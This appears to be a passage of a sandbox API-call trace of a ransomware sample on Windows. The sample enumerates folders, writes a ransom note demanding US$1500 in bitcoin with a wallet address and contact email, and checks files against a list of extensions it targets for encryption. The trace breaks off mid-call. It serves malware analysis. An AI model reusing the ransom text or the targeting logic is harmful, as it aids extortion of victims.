returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0" [0099.466] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0") returned 85 [0099.466] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa310a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa310a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.466] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.466] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa310a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa310a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.466] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.466] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.466] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58a8e790, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58a8e790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58a8e790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0099.466] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.467] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.467] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\*.*") returned="*.*" [0099.467] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\", lpString2="9.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a" [0099.467] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned 111 [0099.467] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58a8e790, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58a8e790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58a8e790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.467] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.467] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58a8e790, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58a8e790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58a8e790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.467] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.467] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.467] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58a8e790, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58a8e790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58a8e790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0099.467] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.467] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll") returned -1 [0099.467] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll") returned -1 [0099.467] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll") returned -1 [0099.467] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0099.467] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" [0099.467] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="" [0099.468] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0099.468] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.word.addinproxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0099.468] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.word.addinproxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.472] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0099.472] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.473] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.474] CloseHandle (hObject=0x90) returned 1 [0099.474] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll" [0099.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.ems") returned 0 [0099.474] lstrlenA (lpString="*.ems") returned 5 [0099.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.db") returned 0 [0099.474] lstrlenA (lpString="*.db") returned 4 [0099.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.dbf") returned 0 [0099.474] lstrlenA (lpString="*.dbf") returned 5 [0099.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.myox") returned 0 [0099.474] lstrlenA (lpString="*.myox") returned 6 [0099.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.myo") returned 0 [0099.474] lstrlenA (lpString="*.myo") returned 5 [0099.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.qbw") returned 0 [0099.474] lstrlenA (lpString="*.qbw") returned 5 [0099.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.qbb") returned 0 [0099.474] lstrlenA (lpString="*.qbb") returned 5 [0099.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.qbm") returned 0 [0099.475] lstrlenA (lpString="*.qbm") returned 5 [0099.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.qbo") returned 0 [0099.475] lstrlenA (lpString="*.qbo") returned 5 [0099.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.qbx") returned 0 [0099.475] lstrlenA (lpString="*.qbx") returned 5 [0099.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.qba") returned 0 [0099.475] lstrlenA (lpString="*.qba") returned 5 [0099.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.qby") returned 0 [0099.475] lstrlenA (lpString="*.qby") returned 5 [0099.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.qbj") returned 0 [0099.475] lstrlenA (lpString="*.qbj") returned 5 [0099.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.ofx") returned 0 [0099.475] lstrlenA (lpString="*.ofx") returned 5 [0099.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.qif") returned 0 [0099.475] lstrlenA (lpString="*.qif") returned 5 [0099.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.mye") returned 0 [0099.475] lstrlenA (lpString="*.mye") returned 5 [0099.475] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.mbox") returned 0 [0099.476] lstrlenA (lpString="*.mbox") returned 6 [0099.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.eml") returned 0 [0099.476] lstrlenA (lpString="*.eml") returned 5 [0099.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.pst") returned 0 [0099.476] lstrlenA (lpString="*.pst") returned 5 [0099.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.ost") returned 0 [0099.476] lstrlenA (lpString="*.ost") returned 5 [0099.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.idx") returned 0 [0099.476] lstrlenA (lpString="*.idx") returned 5 [0099.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.dbx") returned 0 [0099.476] lstrlenA (lpString="*.dbx") returned 5 [0099.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.sql") returned 0 [0099.476] lstrlenA (lpString="*.sql") returned 5 [0099.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.mdb") returned 0 [0099.476] lstrlenA (lpString="*.mdb") returned 5 [0099.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.fdb") returned 0 [0099.476] lstrlenA (lpString="*.fdb") returned 5 [0099.476] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.wab") returned 0 [0099.476] lstrlenA (lpString="*.wab") returned 5 [0099.477] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.dat") returned 0 [0099.477] lstrlenA (lpString="*.dat") returned 5 [0099.477] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.txt") returned 0 [0099.477] lstrlenA (lpString="*.txt") returned 5 [0099.477] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.jpeg") returned 0 [0099.477] lstrlenA (lpString="*.jpeg") returned 6 [0099.477] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.jpg") returned 0 [0099.477] lstrlenA (lpString="*.jpg") returned 5 [0099.477] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.png") returned 0 [0099.477] lstrlenA (lpString="*.png") returned 5 [0099.477] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.php") returned 0 [0099.477] lstrlenA (lpString="*.php") returned 5 [0099.477] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.cs") returned 0 [0099.477] lstrlenA (lpString="*.cs") returned 4 [0099.477] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.cpp") returned 0 [0099.477] lstrlenA (lpString="*.cpp") returned 5 [0099.477] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.rar") returned 0 [0099.477] lstrlenA (lpString="*.rar") returned 5 [0099.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.zip") returned 0 [0099.478] lstrlenA (lpString="*.zip") returned 5 [0099.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.html") returned 0 [0099.478] lstrlenA (lpString="*.html") returned 6 [0099.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.htm") returned 0 [0099.478] lstrlenA (lpString="*.htm") returned 5 [0099.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.xlsx") returned 0 [0099.478] lstrlenA (lpString="*.xlsx") returned 6 [0099.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.xls") returned 0 [0099.478] lstrlenA (lpString="*.xls") returned 5 [0099.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.mp4") returned 0 [0099.479] lstrlenA (lpString="*.mp4") returned 5 [0099.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.ppt") returned 0 [0099.479] lstrlenA (lpString="*.ppt") returned 5 [0099.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.pptx") returned 0 [0099.479] lstrlenA (lpString="*.pptx") returned 6 [0099.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.doc") returned 0 [0099.479] lstrlenA (lpString="*.doc") returned 5 [0099.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.dot") returned 0 [0099.479] lstrlenA (lpString="*.dot") returned 5 [0099.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.docx") returned 0 [0099.479] lstrlenA (lpString="*.docx") returned 6 [0099.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.7z") returned 0 [0099.479] lstrlenA (lpString="*.7z") returned 4 [0099.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.tar") returned 0 [0099.479] lstrlenA (lpString="*.tar") returned 5 [0099.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.dll", pszSpec="*.bz2") returned 0 [0099.479] lstrlenA (lpString="*.bz2") returned 5 [0099.480] PathMatchSpecA 